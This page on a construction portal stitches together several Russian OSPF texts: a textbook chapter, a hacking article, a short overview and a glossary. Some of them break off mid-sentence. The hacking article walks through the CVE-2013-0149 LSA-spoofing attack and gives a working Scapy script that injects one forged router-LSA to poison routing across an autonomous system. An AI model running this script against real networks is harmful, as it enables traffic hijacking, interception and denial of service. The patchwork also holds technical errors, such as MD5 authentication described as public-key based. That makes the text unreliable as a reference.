Строительный портал - Дом. Водонагреватели. Дымоходы. Монтаж отопления. Обогреватели. Оборудование

Ospf протокол принцип. Протокол динамической маршрутизации OSPF

Аннотация: Рассмотрены принципы функционирования протокола динамической маршрутизации по состоянию канала. Приведены основные характеристики протокола OSPF. Рассмотрены основы конфигурирования динамической маршрутизации на базе протоколов маршрутизации OSPF2 в сетях IPv4 и OSPF3в сетях IPv6. Проанализированы таблицы маршрутизации.

4.1. Общие сведения о протоколе OSPF

Протокол состояния канала (Link-state) Open Shortest Path First (OSPF) предназначен для работы в больших гибких составных сетях, где обмен маршрутной информацией между множеством маршрутизаторов потребовал бы значительных вычислительных ресурсов и пропускной способности сети. Поэтому большая сеть делится на области или зоны (area) , внутри которых и происходит рассылка обновлений (модификаций) при изменениях в сетевой топологии. Использование OSPF внутри определенной области, в которой маршрутизаторы разделяют маршрутную информацию между собой ( рис. 4.1), снижает нагрузку на сеть .


Рис. 4.1.

Областей (зон) может быть несколько, среди которых нулевая область (area 0) является главной или единственной. Остальные зоны взаимодействуют с нулевой областью, а напрямую между собой не взаимодействуют. Взаимодействие периферийных областей с магистральной (area 0 ) производится через пограничные маршрутизаторы ABR ( рис. 4.1). Далее рассматривается случай единственной области area 0.

Протокол OSPF оперативно реагируют на изменения в сети, обеспечивая быструю сходимость . Он может работать с оборудованием разных фирм производителей, и потому получил широкое распространение. Административное расстояние протокола OSPF равно 110 (см. табл. 1.1).

Протокол OSPF формирует три базы данных , на основе которых создает соответствующие таблицы:

  1. База данных смежности (adjacency database) позволяет сформировать таблицу соседних устройств (neighbor table), содержимое которой можно посмотреть по команде show ip ospf neighbor .
  2. На основе базы данных о состоянии каналов (Link-State Data Base - LSDB ) формируется таблица топологии сети (topology table), проверяемая по команде show ip ospf database . После схождения сети базы данных о состоянии каналов LSDB должны быть одинаковы
  3. На основе базы LSDB и базы данных смежности формируется база пересылки и создается таблица маршрутизации , которую можно посмотреть по команде show ip route .

В основе протокола OSPF лежит алгоритм Дийкстра (Dijkstra), обеспечивающий выбор кратчайшего пути (shortest path ) к адресату назначения. Протокол OSPF не проводит периодический обмен объемными обновлениями ( update ) маршрутной информации для снижения нагрузки на сеть , и характеризуется быстрой сходимостью .

Сходимость или конвергенция ( convergence ) сети достигается, когда базы данных о состоянии каналов LSDB одинаковы у всех маршрутизаторов области.

Для обмена маршрутной информацией между устройствами протокол OSPF использует пять типов пакетов:

  1. Пакет приветствия Hello .
  2. Пакет описания базы данных Data Base Description - DBD .
  3. Пакет запроса Link-State Request - LSR .
  4. Пакет обновлений Link-State Update - LSU .
  5. Пакет подтверждения Link-State Acknowledgment - LSAck .

Пакеты Hello маршрутизатор отправляет со всех своих интерфейсов, чтобы обнаружить соседние устройства. В отличие от других, Hello-пакеты рассылаются периодически и довольно часто, чтобы непрерывно отслеживать работоспособность соседних устройств. После обмена Hello-пакетами между соседними устройствами устанавливаются и поддерживаются отношения смежности ( adjacency ) и формируются таблицы соседних устройств.

Различают три типа сетей:

  1. Широковещательные с множественным доступом (Broadcast multi-access), например Ethernet.
  2. Сети типа точка-точка (Point-to-point).
  3. Нешироковещательные с множественным доступом (Non broadcast multi-access - NBMA), например, сети Frame Relay, ATM.

В сетях первых двух типов период рассылки Hello-пакетов - 10 секунд, а в сетях NBMA - 30 сек. Период простоя (Dead Interval ) - в четыре раза больше. Если в течение периода простоя от соседнего устройства не пришло ни одного Hello-пакета, то считается, что устройство прекратило функционирование. Протокол OSPF удалит не отвечающего соседа из базы данных LSDB . При рассылке Hello-пакетов в сетях IPv4 используется адрес 224.0.0.5 многоадресного режима без подтверждения доставки. В сетях IPv6 для рассылки используется адрес FF02::5 .

Пакет DBD содержит сокращенный список базы данных передающего маршрутизатора и используется принимающим маршрутизатором для синхронизации (проверки) своей базы данных . Базы данных должны быть идентичными. Принимающий маршрутизатор может запросить полную информацию о входах базы данных передатчика, используя пакет запроса Link-State Request - LSR .

Для обмена объявлениями о состоянии канала используется пакет обновлений Link-StateUpdate - LSU . Пакет LSU может содержать различные типы извещений или объявлений (Link-State Advertisements - LSA ). Обмен пакетами объявлений LSA производится на начальном этапе формирования сети после установления отношения смежности , а также при возникновении изменений в топологии сети.

Когда происходят изменения в каком-либо соединении сети, то маршрутизатор , первым заметивший это изменение, создает извещение о состоянии этого соединения LSA , которое передается соседним устройствам. Каждое устройство, получив обновление LSA , транслирует копии LSA всем соседним маршрутизаторам в пределах области и затем модифицирует свою топологическую базу данных. Такая лавинообразная рассылка объявлений о состоянии каналов ускоряет процесс сходимости.

Для подтверждения принятого пакета обновлений LSU используется пакет подтверждения (Link-Stat Acknowledgment - LSAck), который рассылается в одноадресном режиме.

Состояние канала (соединения) - это описание интерфейса , которое включает IP адрес интерфейса, маску подсети, тип сети и другие параметры. Полученные пакеты LSA позволяют протоколу OSPFсформировать на маршрутизаторе базу данных о состоянии каналов LSDB . Зная базу данных, алгоритм Dijkstra (shortest path first algorithm - SPF ) вычисляет кратчайшие пути к сетям назначения. При этом строится древовидная топология кратчайших путей SPF ко всем доступным сетям, свободная от маршрутных петель. Корнем в дереве является сам маршрутизатор . Первый вычисленный кратчайший путь записывается в таблицу маршрутизации.

Пакет OSPF размещается внутри IP -пакета сразу за IP -заголовком ( рис. 4.2).


Рис. 4.2.

При передаче сообщения OSPF заголовок кадра включает групповой МАС- адрес назначения (01-00-5Е-00-00-05 или 01-00-5Е-00-00-06) и одноадресный МАС- адрес источника.

Заголовок IP -пакета содержит групповой адрес назначения (224.0.0.5 или 224.0.0.6) и IP - адрес источника.В поле протокола пакета задается значение 89, что говорит об использовании OSPF .

Содержит:

  • тип пакета;
  • идентификатор маршрутизатора (Router ID);
  • идентификатор области (area 0);
  • другие параметры.

Идентификатор устройства ( Router ID ), по сути, является IP -адресом одного из интерфейсов маршрутизатора.

Данные пакета OSPF зависят от типа пакета. Так пакет приветствия Hello включает:

  • маску сети или подсети;
  • интервалы времени рассылки пакетов (Hello Interval), интервал простоя (Dead Interval);
  • приоритет маршрутизатора;
  • идентификаторы назначенного (главного, определяющего) маршрутизатора (Designated Router - DR ) и запасного назначенного маршрутизатора (Backup Designated Router - BDR ) данной области;
  • список соседних устройств, содержащий идентификаторы соседей.

Для формирования смежности необходимо, чтобы маршрутизаторы работали в сети одного типа, и у соседних устройств должны быть одинаковы:

  1. Период времени обмена Hello-пакетами (Hello Interval).
  2. Период времени простоя (Dead Interval), по истечению которого связь считается потерянной, если за это время не было получено ни одного Hello-пакета.

Выбор назначенного (главного) маршрутизатора области сети (Designated - DR ) и запасного назначенного маршрутизатора сети (BDR ), производится в сетях с множественным доступом. В сетях " точка-точка " этот механизм не используется. В сегменте сети с множественным доступом, несколько маршрутизаторов связаны между собой. Поскольку каждый маршрутизатор должен установить полное отношение смежности со всеми соседними маршрутизаторами и обменяться информацией о состоянии связи всех соединений, то, например, при 5 маршрутизаторах необходим обмен десятью состояниями связи. В общем случае для n маршрутизаторов должно быть n*(n-1)/2 обменов, на что должны быть выделены дополнительные ресурсы, прежде всего, полоса пропускания .

Если в сети выбран назначенный маршрутизатор области (DR ), то маршрутизатор , первым обнаруживший изменение в сети, посылает информацию об изменениях только маршрутизатору DR , а тот в свою очередь , рассылает LSAs всем другим OSPF маршрутизаторам области, по адресу 224.0.0.5. Это сокращает количество обменов модификациями в сети. Если маршрутизатор DR выходит из строя, то его функции начинает выполнять запасной назначенный маршрутизатор области сети BDR .

Выбор DR и BDR происходит на основе сравнения приоритетов маршрутизаторов. По умолчанию приоритет всех маршрутизаторов равен 1. Значение приоритета может быть любым от 0 до 255. Маршрутизатор с приоритетом 0 не может быть избранным DR или BDR . Маршрутизатор с самым высоким OSPF приоритетом будет отобран как DR маршрутизатор . Маршрутизатор со вторым приоритетом будет BDR .

Когда не задано никаких дополнительных параметров и приоритет одинаков, выбор DR и BDR происходит на основе идентификаторов (ID ) маршрутизаторов.

Идентификатор маршрутизатора (ID) может быть задан администратором по команде:

Router(config)#router ospf № процесса Router(config-router)#router-id ip-адрес

У данной команды наивысший приоритет назначения идентификатора маршрутизатора.

Если идентификатор не задан администратором, то протокол OSPF автоматически выбирает в качестве ID адрес одного из интерфейсов с наибольшим значением. Маршрутизатор с высшим значением идентификатора ID становится DR . Маршрутизатор со вторым наибольшим значением идентификатора ID становится BDR .

Поскольку на интерфейсах используются разъемы, то они являются ненадежными элементами сети. Для повышения надежности работы DR на маршрутизаторах формируют виртуальные логические интерфейсы loopback . OSPF использует адрес интерфейса loopback как ID маршрутизатора, независимо от значения адресов других интерфейсов. Маршрутизатор , на котором сформировано несколько интерфейсов loopback , использует самое большое значение адреса интерфейса loopback в качестве ID маршрутизатора. Таким образом, выбор DR и BDR происходит на основе сравнения адресов интерфейсов loopback .

После выбора, DR и BDR сохраняют свои роли , даже если к сети добавляются маршрутизаторы с более высоким приоритетом до тех пор, пока маршрутизаторы не будут переконфигурированы.

Создание интерфейса loopback производится по команде interface loopback , например:

Router(config)#interface loopback 0 Router(config-if)#ip address10.1.1.1 255.255.255.255

Интерфейс loopback должен формироваться с маской подсети на 32 бита - 255.255.255.255 . Такая

OSPF - это, пожалуй, самый распространенный протокол динамической маршрутизации. Чем крупнее предприятие, чем больше в нем подсетей, удаленных филиалов и представительств, тем выше вероятность встретить там OSPF. Его ценят за минимум служебного трафика, достаточно высокую скорость сходимости и неплохую масштабируемость. Долгое время считалось, что протокол надежен и безопасен. Ведь даже при компрометации одного роутера атакующий мог оказать лишь небольшое и крайне ограниченное воздействие на остальные маршрутизаторы внутри автономной системы, так как не существовало возможности провести глобальные изменения по всем таблицам маршрутизации. Но недавно все изменилось - один-единственный пакет может изменить все, и этот эффект будет постоянным!

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Про маршрутизацию

Прежде чем начать повествование, давай немного освежим в памяти теорию. Для начала вспомним, что маршрутизация бывает двух типов: динамическая и статическая. Использование динамической маршрутизации позволяет избежать однообразного процесса добавления записей о маршрутах вручную и, соответственно, ошибок, связанных с этим процессом. Вместо этого протоколы динамической маршрутизации строят таблицы маршрутизации сами, автоматически, исходя из текущей конфигурации сети. Одним словом, это просто незаменимая технология, особенно когда сеть состоит не из трех маршрутизаторов, а хотя бы из тридцати. Кроме удобства, есть и другие плюсы. Например, отказоустойчивость. Имея сеть со статической маршрутизацией, достаточно непросто будет организовать резервные каналы, так как будет проблематично отслеживать доступность того или иного сегмента. Что касается протоколов маршрутизации, то они также делятся на две основные группы: междоменную маршрутизацию (Exterior gateway routing или Inter-AS) и внутридоменную (Interior gateway routing или Intra-AS). Самый известный представитель первой группы - это BGP, во вторую группу входит ряд протоколов - OSPF, IS-IS, EIGRP и практически мертвый RIP. Группу маршрутизаторов, обменивающихся маршрутной информацией на основе общего протокола, называют автономной системой (Autonomous System, сокращенно AS - эта аббревиатура дальше будет довольно часто появляться в статье). Вот, пожалуй, и все, что нам потребуется знать для начала.

OSPF в деталях

Как уже говорилось, OSPF - один из распространенных протоколов динамической маршрутизации. Но как же он работает? Маршрутизатор OSPF обнаруживает соседей, устанавливает отношения смежности и затем поддерживает соседство, используя протокол Hello. В пакетах этого протокола содержатся значения Router Priority (для выбора DR) и HelloInterval (интервал между пакетами Hello). Также указывается, как часто должно быть слышно соседа для определения его работоспособности (RouterDeadInterval). Значения HelloInterval и RouterDeadInterval должны быть идентичны для всех маршрутизаторов.

Перед тем как интерфейс начнет работать, проверяется наличие в сети маршрутизатора DR. DR (designated router) - это выделенный маршрутизатор, который выполняет две задачи: генерирует анонсы network-LSA (эти LSA содержат список маршрутизаторов, подключенных в данный момент к сети) и является смежным для всех остальных маршрутизаторов (в случае выхода из строя его функции берет на себя BDR - backup designated router). Если такой маршрутизатор уже задан, он принимается независимо от значения Router Priority. Если же маршрутизатор DR еще не назначен, им становится данный маршрутизатор, при условии, что он имеет наивысшее значение Router Priority.

Затем маршрутизатор описывает свою базу каналов, посылая соседу последовательность пакетов Database Description. Такой процесс обмена пакетами Database Description называется обменом базами данных (Database Exchange Process). После завершения процесса Database Exchange и выполнения всех запросов Link State базы данных синхронизированы и маршрутизаторы маркируются как смежные (fully adjacent). С этого момента отношения смежности являются полными и начинают анонсироваться router-LSA (объявления о состоянии каналов маршрутизатора).

LSA анонсируется каждые 30 минут (за это отвечает архитектурная константа LSRefreshTime), при этом каждый последующий LSA имеет больший sequence number, чем предыдущий. Разумеется, LSA с большим номером замещает тот, что с меньшим. Эти LSA расходятся по всей автономной системе путем так называемого флуда. Роутер, получивший LSA от одного из соседей, пересылает его всем остальным своим соседям, таким образом, каждый маршрутизатор составляет базу LSA DB.

На основе базы каналов каждый маршрутизатор строит дерево кратчайших путей, корнем которого является он сам. Это дерево содержит маршруты ко всем адресатам внутри AS. Маршрутная информация внешнего происхождения представляется как листья дерева. Дерево включает путь к любой сети или хосту. Но при пересылке пакетов адресату используется только следующий маршрутизатор (next hop).

Погрузимся еще глубже

А теперь познакомимся поближе с заголовком LSA (см. рис. 1). В рамках данной статьи нас будет интересовать LSA первого типа (type 1 или router-LSA). Он содержит поля type , Link State ID и Advertising Router . Комбинация этих трех полей уникальна для LSA.


Значение Link State ID определяет канал и обычно равно Router ID . Router ID (идентификатор маршрутизатора) - это 32-битовое число, которое идентифицирует маршрутизатор в пределах одной автономной системы. Этот идентификатор является уникальным в масштабе AS. Одним из вариантов идентификатора может служить наименьший из IP-адресов маршрутизатора.

Поле Advertising Router содержит идентификатор OSPF Router ID маршрутизатора, создавшего LSA. Для router-LSA это поле совпадает с полем Link State ID (обрати внимание, это очень важная информация из RFC, которая понадобится нам далее).

Sequence number (порядковый номер) - это 32-разрядное целое число со знаком, которое используется для обнаружения старых LSA и дубликатов. Пространство порядковых номеров линейно упорядочено, и больший порядковый номер соответствует более новой записи LSA. InitialSequenceNumber используется в качестве порядкового номера (LS Sequence Number) при создании первого анонса LSA и составляет 0x80000001 , а MaxSequenceNumber - это максимальное значение порядкового номера LSA и равняется 0x7fffffff (целое число со знаком).

Прием каждого нового анонса LSA должен подтверждаться. Для этого используются пакеты Link State Acknowledgment (LSAck). Но перед этим происходит несколько проверок. Если состояние соседа, приславшего пакеты, ниже Exchange, то LSAck отбрасываются.

Удаление LSA из базы данных маршрутизатора происходит в нескольких случаях. Это может быть перезапись более новым экземпляром во время флуда, ситуация, когда маршрутизатор сам генерирует новый пакет LSA или же запись удаляется в результате устаревания.

Защита OSPF

При обмене данными между маршрутизаторами протокол OSPF может использовать аутентификацию, для того чтобы гарантировать, что только доверенные роутеры могли участвовать в процессе маршрутизации. Заголовок OSPF-пакета включает поле типа аутентификации и 64-битовое поле данных, используемое соответствующей типу схемой аутентификации. Тип аутентификации может задаваться для каждого интерфейса (или, что эквивалентно, для сети/подсети). Определены три типа аутентификации - 0, 1 и 2:

  • 0 - без аутентификации (Null authentication);
  • 1 - простой пароль;
  • 2 - криптографическая аутентификация.

Криптографическая аутентификация считается достаточно устойчивой к раскрытию информации и обеспечивает надежную защиту от активных атак. При ее использовании каждый маршрутизатор добавляет цифровую подпись (message digest) к передаваемому пакету. На принимающей стороне для проверки аутентичности пакетов используется открытый ключ и цифровая подпись из принятого пакета OSPF. Уровень безопасности при криптографической аутентификации полностью определяется используемым алгоритмом (в настоящее время спецификация включает только алгоритм MD5) и качеством используемых ключей. Ни один из типов аутентификации OSPF не обеспечивает конфиденциальности и не предотвращает возможность анализа трафика.

Механизм fight back

Обычно получение своих же (self-originated) LSA-анонсов маршрутизатором вполне нормальное явление. Для их обнаружения он проверяет, чтобы поле Advertising Router в LSA совпадало с Router ID (это еще один важный момент, который поможет нам в дальнейшем). Если принятый self-originated пакет LSA оказывается новее последнего экземпляра, порожденного маршрутизатором, требуются специальные меры. В таком случае маршрутизатор устанавливает порядковый номер LSA на единицу больше, чем номер принятого анонса, и создает новый пакет LSA. Именно таким образом и работает механизм, который со временем получил неофициальное название fight back.

Если суммировать все сказанное, складывается впечатление, что с безопасностью OSPF протокола дела обстоят достаточно неплохо:

  • для каждого канала можно установить MD5-аутентификацию;
  • один LSA-пакет содержит только малую часть топологии сети;
  • отбрасывание LSA от неизвестных соседей;
  • механизм fight back.

Ранее известные атаки на OSPF

Протокол OSPF уже давно так или иначе подвергался разнообразным атакам. Это, например, была отправка собственных поддельных LSA - в случае контроля над одним маршрутизатором можно сгенерировать и отправить ложный LSA c заниженной стоимостью существующего соседа, в результате большой объем трафика пойдет через другой роутер, который может не справиться с нагрузкой. Такая атака, конечно, может принести некий результат, но все равно влияние будет незначительное.

Если же попытаться подделать LSA от другого роутера, то тут же сработает fight back механизм и атака будет нивелирована. Можно еще взять и анонсировать канал в сеть за пределами автономной системы. Но в таком случае это не повлияет на маршрутизацию внутри AS. Создать маршрутизатор-фантом? Тоже не вариант, так как OSPF выбрасывает LSA, пришедшие от неизвестных соседей.

Единственная атака, которая действительно могла пробить защиту, - это периодический инжект LSA-пакетов, постоянный и непрерывный. Но во-первых, это очень шумный вариант, а во-вторых, он достаточно непрост в реализации.

Поэтому и существовало мнение, что, даже если атакующий проник и захватил маршрутизатор, узнал MD5-пароли, он все равно не мог тотально влиять на всю AS.

OSPFv2 vs OSPFv3

Основные отличия OSPFv2 и OSPFv3 (помимо появившейся поддержки IPv6):

  • OSPFv3 включается на интерфейсах. Включение OSPF на интерфейсе автоматически создает процесс OSPF и соответствующую команду в конфигурационном файле;
  • анонсируются все сети, настроенные на интерфейсе;
  • новые типы LSA. Добавлены два новых типа LSA - Link LSA и Intra-Area Prefix LSA;
  • аутентификации в самом OSPFv3 нет. Используется аутентификация IPv6.

Выходим на исходную

Но недавно все изменилось. Если все прежние атаки приносили только незначительный эффект, влияя лишь на малую часть топологии, либо вызывали срабатывание защитных механизмов OSPF, либо были очень шумными, то представленная новая атака - скрытная, эффективная и приносит постоянные изменения по всей автономке. К ней потенциально уязвимы все вендоры, но на данный момент были подтверждены только Cisco и Juniper.


Давай взглянем на схему сети, которую мы будем атаковать (рис. 3). Для простоты положим, что мы имеем кольцо из маршрутизаторов и контролируем роутер R1. А в качестве жертвы выберем, допустим, роутер R10. Конечно, в нашем примере топология сети сильно упрощена, в реальных условиях обычно используется гораздо больше избыточных связей и маршрутизаторов, но для демонстрации атаки нам этого вполне хватит.

INFO

Концепт атаки был продемонстрирован на Black Hat USA 2013. Авторы: Gabi Nakibly, Eitan Menahem, Ariel Waizel и Yuval Elovici. Свои исследования протокола OSPF они начали еще в 2011 году, попутно проведя серию нескольких новых атак, которые, тем не менее, были сложнее в реализации и не обладали такой мощью, как данная атака.

Прицеливаемся

А теперь опять вернемся к заголовку LSA, точнее, к двум его полям: Link State ID и Advertising Router . Согласно RFC, только сам роутер может создавать свои собственные LSA, следовательно, эти два поля должны быть с одинаковым значением. Но OSPF не проверяет их на равенство. Кроме того, как мы уже знаем, механизм fight back срабатывает, только если эти поля одинаковы.

В итоге получается, что для того, чтобы успешно провести атаку, нужно отправить LSA (первого типа, router-LSA) со значением link state id = ID роутера жертвы и с advertising router = любому значению, отличному от ID роутера жертвы. Если этот ложный LSA будет иметь sequence number выше, чем sequence number текущеей правильной LSA, то поддельная LSA не только появится в DB на всех маршрутизаторах, но и заменит собой правильные LSA.

В итоге все таблицы маршрутизации на всех роутерах будут отравлены. Причем это постоянное явление, чтобы вернуть все как было, придется либо откатить атаку, либо вручную заходить на все маршрутизаторы и заново инициализировать процесс ospf. По сути, для проведения атаки даже не требуется полного контроля над каким-либо роутером в сети - достаточно всего лишь заинжектить один LSA-пакет в сеть так, чтобы любой маршрутизатор из сети принял его.

Подготовим вооружение

Ну что ж, пришло время применить все вышесказанное на практике. Прежде всего для проведения атаки нам понадобится утилита для пакет-крафтинга, например Scapy. Это крайне мощный инструмент, который позволяет вручную собирать пакеты уровень за уровнем, используя интерпретатор Python’а. После установки изначально Scapy не умеет работать с OSPF. Если выполнить load_contrib("ospf") , то будет выдано сообщение об ошибке: ERROR: No module named contrib.ospf . Поэтому необходимо дополнительно установить модуль ospf . Скачиваем его и попутно создаем каталог contrib:

Mkdir /usr/lib/python2.7/dist-packages/scapy/contrib

Затем переносим модуль в свежесозданный каталог:

Cp ospf.py /usr/lib/python2.7/dist-packages/scapy/contrib/

Теперь если зайти в scapy и просмотреть список подключенных модулей, то можно увидеть, что он успешно установлен:

# scapy >>> list_contrib() ospf: OSPF status=loads >>>

Казалось бы, это все, но не тут-то было. При попытке подгрузить ospf-модуль получаем следующую ошибку:

>>> load_contrib("ospf") ERROR: No module named contrib.ospf

Чтобы избавиться от нее, нужно создать скрипт инициализации:

Touch /usr/lib/python2.7/dist-packages/scapy/contrib/__init__.py

После этого Scapy полностью готов для работы с OSPF.

One shot, MANY hits

Теперь настало время перейти к созданию скрипта, который, отправляя всего один пакет, позволит получить контроль над всей AS. Сначала подключим все необходимые модули и отключим протокол IPv6:

#!/usr/bin/env python import scapy.config scapy.config.conf.ipv6_enabled = False from scapy.all import * load_contrib("ospf")

Затем зададим значения переменных, IP-адрес подконтрольного атакующему роутера, жертвы и, самое главное, Advertising Router (falseadv router), который не должен совпадать со значением router ID (victimrouter id):

Attacker_source_ip = "192.168.10.111" attacker_router_id = "192.168.10.101" victim_destination_ip = "192.168.10.60" victim_router_id = "192.168.10.6" false_adv_router = "192.168.47.47" seq_num = 0x80000700

Теперь собираем сам LSA-пакет, переменные будут подставлены автоматически:

FALSE_LSA = IP(src=attacker_source_ip, dst=victim_destination_ip)/ OSPF_Hdr(src=attacker_router_id)/ OSPF_LSUpd(lsalist=[ OSPF_Router_LSA(options=0x22, type=1, id=victim_router_id, adrouter=false_adv_router, seq=seq_num, linklist=[ OSPF_Link(id="192.168.10.7", data="192.168.10.60", type=2, metric=1), OSPF_Link(id="192.168.10.60", data="192.168.10.60", type=2, metric=1), OSPF_Link(id="192.168.50.0", data="255.255.255.0", type=3, metric=3)])])

И завершается скрипт функцией send, которая выбрасывает собранный пакет в сеть через указанный интерфейс:

Send(FALSE_LSA, iface="eth0")

Как видно, все достаточно просто. Достаточно его выполнить (# python hitOSPF.py), и несколько секунд спустя волна изменений пробежит по всему домену маршрутизации.

Что дает контроль над всей автономкой?

Контролируя всю автономную систему, можно как угодно управлять потоками трафика, например направлять их в черные дыры (black hole) или перенаправить часть трафика через подконтрольный атакующему маршрутизатор. Все это затем можно использовать для захвата и изучения интересующего трафика, к которому ранее не было доступа, не говоря уже про всевозможные сценарии DDoS-атак.

Одним из самых интересных вариантов видится как раз перенаправление трафика по другому маршруту. Выбросив маршрутизатор-жертву из общего процесса маршрутизации, можно заставить остальные роутеры пересчитать свои таблицы маршрутизации, и таким образом атакующий сможет наблюдать за гораздо большим объемом трафика, а в некоторых случаях и получить уникальный и не доступный никаким способом трафик.

INFO

Данная уязвимость получила свой номер CVE-2013-0149. В официальном отчете Cisco сообщается, что PSIRT (Cisco Product Security Incident Response Team) не опасаются какого-либо публичного раскрытия или использования этой уязвимости. Видимо, они все же немного ошиблись.

Возвращаем все на свои места

Чтобы откатить атаку, достаточно отправить еще один поддельный LSA-пакет, но в этот раз со значением Advertising Router , равным ID роутера жертвы. Причем у этого LSA должен быть больший sequence number, чем во время атаки. В таком случае запустится механизм fight back и все восстановится, причем у всех маршрутизаторов в AS.

Собираем гильзы

Пришло время подвести итоги. Как видишь, получив доступ к одному маршрутизатору, можно контролировать весь домен маршрутизации. Для этого не требуется каких-то особых условий, компрометации нескольких устройств или работы более одного атакующего. Оказалось, что практически все вендоры уязвимы к этой атаке, вероятно, потому, что никто не ожидал такого сценария. Как минимум Cisco и Juniper анонсировали Security Advisories и пофиксили уязвимость. Но очевидно, что тысячи и сотни тысяч устройств так и останутся уязвимыми. И даже не потому, что у многих компаний нет четкой политики обновления и своевременной установки патчей (хотя и это тоже), а потому, что по-прежнему в строю много старого оборудования, которое зачастую невозможно обновить, например из-за недостаточного объема карт памяти.

OSPF (Open Shortest Path First) – дословно переводится как «Сперва открытый короткий путь» - надежный протокол внутренней маршрутизации с учетом состояния каналов (Interior gateway protocol, IGP ). Как правило, данный протокол маршрутизации начинает использоваться тогда, когда протокола RIP уже не хватает по причине усложнения сети и необходимости в её легком масштабировании.

OSPF наиболее широко используемый протокол внутренней маршрутизации. Когда идёт речь о внутренней маршрутизации, то это означает, что связь между маршрутизаторами устанавливается в одном домене маршрутизации, или в одной автономной системе. Представьте компанию среднего масштаба с несколькими зданиями и различными департаментами, каждое из которых связано с другим с помощью канала связи, которые дублируются с целью увеличения надежности. Все здания являются частью одной автономной системы. Однако при использовании OSPF, появляется понятие «площадка», «зона» (Area), которое позволяет сильнее сегментировать сеть, к примеру, разделение по «зонам» для каждого отдельного департамента.

Для понимания необходимости данных «зон» при проектировании сети, необходимо понять, как OSPF работает. Есть несколько понятий, связанных с этим протоколом, которые не встречаются в других протоколах и являются уникальными:

  • Router ID: Уникальный 32-х битный номер, назначенный каждому маршрутизатору. Как правило, это сетевой адрес с интерфейса маршрутизатора, обладающий самым большим значением. Часто для этих целей используется loopback интерфейс маршрутизатора.
  • Маршрутизаторы-соседи: Два маршрутизатора с каналом связи между ними, могут посылать друг другу сообщения.
  • Соседство: Двухсторонние отношения между маршрутизаторами-соседями. Соседи не обязательно формируют между собой соседство.
  • LSA: Link State Advertisement – сообщение о состоянии канала между маршрутизаторами.
  • Hello сообщения: С помощью этих сообщений маршрутизаторы определяют соседей и формируют LSA
  • Area (Зона): Некая иерархия, набор маршрутизаторов, которые обмениваются LSA с остальными в одной и той же зоне. Зоны ограничивают LSA и стимулируют агрегацию роутеров.

OSPF – протокол маршрутизации с проверкой состояния каналов. Представьте себе карту сети – для того, чтобы ее сформировать, OSPF совершает следующие действия:

  1. Сперва, когда протокол только запустился на маршрутизаторе, он начинает посылать hello-пакеты для нахождения соседей и выбора DR (designated router, назначенный маршрутизатор). Эти пакеты включают в себя информацию о соседях и состоянии каналов. К примеру, OSPF может определить соединение типа «точка-точка», и после этого в протоколе данное соединение «поднимается», т.е. становится активным. Если же это распределенное соединение, маршрутизатор дожидается выбора DR перед тем как пометить канал активным.
  2. Существует возможность изменить Priority ID для, что позволит быть уверенным в том, что DR-ом станет самый мощный и производительный маршрутизатор. В противном случае, победит маршрутизатор с самым большим IP-адресом. Ключевая идея DR и BDR (Backup DR) , заключается в том, что они являются единственными устройствами, генерирующими LSA и они обязаны обмениваться базами данных состояния каналов с другими маршрутизаторами в подсети. Таким образом, все не-DR маршрутизаторы формируют соседство с DR. Весь смысл подобного дизайна в поддержании масштабируемости сети. Очевидно, что единственный способ убедиться в том, что все маршрутизаторы оперируют одной и той же информацией о состоянии сети – синхронизировать БД между ними. В противном случае, если бы в сети было 35 маршрутизаторов, и требовалось бы добавить еще одно устройство, появилась бы необходимость в установлении 35 процессов соседства. Когда база централизована (т.е существует центральный, выбранный маршрутизатор - DR) данный процесс упрощается на несколько порядков.
  3. Обмен базами данных – крайне важная часть процесса по установлению соседства, после того как маршрутизаторы обменялись hello-пакетами. При отсутствии синхронизированных баз данных могут появиться ошибки, такие как петли маршрутизации и т.д. Третья часть установления соседства – обмен LSA. Это понятие будет разобрано в следующей статье, главное, что необходимо знать – нулевая зона (Area 0) особенная, и при наличии нескольких зон, все они должны быть соединены с Area 0. Так же это называется магистральной зоной.

Типы маршрутизаторов OSPF

Разберем различные типы маршрутизаторов при использовании протокола OSPF:

  • ABR
  • Area Border Router – маршрутизатор внутри нулевой зоны, через который идет связь с остальными зонами

  • DR, BDR
  • Designated Router, Backup Designated Router – этот тип маршрутизаторов обсуждался выше, это основной и резервирующий маршрутизаторы, которые ответственны за базу данных маршрутизаторов в сети. Они получают и посылают обновления через Multicast остальным маршрутизаторам в сети.

  • ASBR
  • Autonomous System Boundary Router – этот тип маршрутизаторов соединяет одну или несколько автономных систем для осуществления возможного обмена маршрутами между ними.

Подведем итоги

  • OSPF является быстро сходящимся протоколом внутренней маршрутизации с контролем состояния каналов
  • Процесс соседства формируется между соседними маршрутизаторами через DR и BDR, используя LSA
  • Зоны в данном протоколе маршрутизации используются для ограничения LSA и суммирования маршрутов. Все зоны подключаются к магистральной зоне.

Полезна ли Вам эта статья?

Пожалуйста, расскажите почему?

Нам жаль, что статья не была полезна для вас:(Пожалуйста, если не затруднит, укажите по какой причине? Мы будем очень благодарны за подробный ответ. Спасибо, что помогаете нам стать лучше!

А сейчас вкратце пробежимся по теории.

OSPF (Open Shortest Path First ) - протокол динамической маршрутизации, основанный на технологии отслеживания состояния канала (link-state technology) и использующий для нахождения кратчайшего пути Алгоритм Дейкстры (Dijkstra’s algorithm).

Последняя версия протокола представлена в RFC 2328 . Протокол OSPF представляет собой протокол внутреннего шлюза (Interior Gateway Protocol - IGP), распространяет информацию о доступных маршрутах между маршрутизаторами одной автономной системы.

OSPF предлагает решение следующих задач:

  • Увеличение скорости сходимости;
  • Поддержка сетевых масок переменной длины (VLSM);
  • Достижимость сети;
  • Использование пропускной способности;
  • Метод выбора пути.

Теория

Терминология протокола OSPF

  • Объявление о состоянии канала (link-state advertisement, LSA) - объявление описывает все каналы маршрутизатора, все интерфейсы и состояние каналов.
  • Состояние канала (link state) - состояние канала между двумя маршрутизаторами; обновления происходят при помощи пакетов LSA.
  • Метрика (metric) - условный показатель «стоимости» пересылки данных по каналу;
  • Автономная система (autonomous system) - группа маршрутизаторов, обменивающаяся маршрутизирующей информацией с помощью одного протокола маршрутизации.
  • Зона (area) - совокупность сетей и маршрутизаторов, имеющих один и тот же идентификатор зоны.
  • Соседи (neighbours) - два маршрутизатора, имеющие интерфейсы в общей сети.
  • Состояние соседства (adjacency) - взаимосвязь между определенными соседними маршрутизаторами установленная с целью обмена информацией маршрутизации.
  • Hello-пакеты (hello packets) - используются для поддержания соседских отношений.
